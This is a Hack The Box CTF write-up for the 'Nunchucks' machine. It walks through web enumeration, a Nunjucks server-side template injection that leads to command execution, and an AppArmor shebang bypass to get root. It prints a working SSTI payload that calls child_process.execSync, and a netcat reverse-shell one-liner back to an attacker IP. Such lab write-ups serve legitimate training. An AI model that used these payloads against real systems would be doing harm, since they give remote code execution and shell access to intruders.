Date: 04/07/2022
Difficulty: Easy
CTF: https://app.hackthebox.com/machines/Nunchucks
Enumeration
Let’s test the connection with the target machine:
We have received back the ping, so we have connection. Let’s scan the TCP ports of the target machine using nmap:
3 open ports: 22 (ssh), 80 (http), 443 (https). Let’s scan them further:
Apparently the website hosted in the port 80, redirects us to https://nunchucks.htb/. Also, the ssl certificate and the DNS of the https service also reveals the domain name, so it seems like is applying virtual hosting. Let’s add this domain to the /etc/hosts file:
Let’s inspect the website using whatweb:
At least now it resolves. Let’s see how it looks using the web browser:
Seems like a normal page… Let’s click on the upper left Nunchucks image:
It opens a index.html page that says that the page doesnt exist. Weird.
We also have a signup form
and a login form
Also, the website is setting a cookie called _csrf
, nice name, this kind of cookies are usually used to prevent CSRF attacks.
Let’s start testing the login form against sqli:
Uh… user logins are disabled. Let’s try then to sign up:
Ooookay… so no login and no signup.
Anyway the form is sending the information. Maybe if we have a valid cookie the system will allow us to log in?
Let’s take a look to the website again:
There is a support email in the footer of the website. Let’s note it, maybe it will be useful…
Let’s enumerate the directories of the website:
Maybe we can look for subdomains:
wfuzz discovered the store
subdomain, let’s add it to the /etc/hosts file
And now let’s visit the subdomain:
There is nothing else here but a form… Let’s use it:
Mmmm… it includes the mail that I entered in the webpage. Maybe this page is vulnerable to SSTI? Let’s check it:
Yep, it is.
NUNJUCKS sound pretty similar to Nunchucks, let’s start with this:
{{range.constructor("return global.process.mainModule.require('child_process').execSync('COMMAND_WE_WANT_TO_EXECUTE')")()}}
But adding backslashes to escape double quotes and using burpsuite to bypass the email format check:
Let’s try to see the passwd file:
Let’s look inside the home folder of david, we may find ssh credentials or something useful:
Ok, there is no .ssh folder, but we can see the user.txt flag:
Ok, we managed to get the user flag, but we have to access to the target machine. Let’s find a way to establish a reverse shell…
ok, the target machine has netcat installed, let’s try a simple nc -e /bin/sh 10.10.10.10 1234
Bad Gateway… something doesn’t work… what if we encode the command in base64 and send it this way?
It worked, nice. Let’s stabilize the tty:
Privilege Escalation
Ok, now let’s find a way to escalate privileges. Let’s start looking for SUID files:
Nothing useful. Let’s see if there is any binary with capabilities:
Uh, perl has a setsuid
capability… And it appears in GTFO Bins as something we can take advance of to escalate to root:
I tried it. I tried a lot of things but nothing happened:
Apparently I had to discover this:
What is inside /opt/backup.pl?
Is a perl script. Let’s execute it:
Nothing useful there. Let’s investigate a little bit more about AppArmor:
Looking for bugs and vulns I found this one:
Bug #1911431 “Unable to prevent execution of shebang lines” : Bugs : AppArmor
it says that if we create a script with the shebang of the restricted application, it will ignore the restrictions. Let’s try it!
And now, let’s execute it:
And that’s how we became root. Pretty interesting.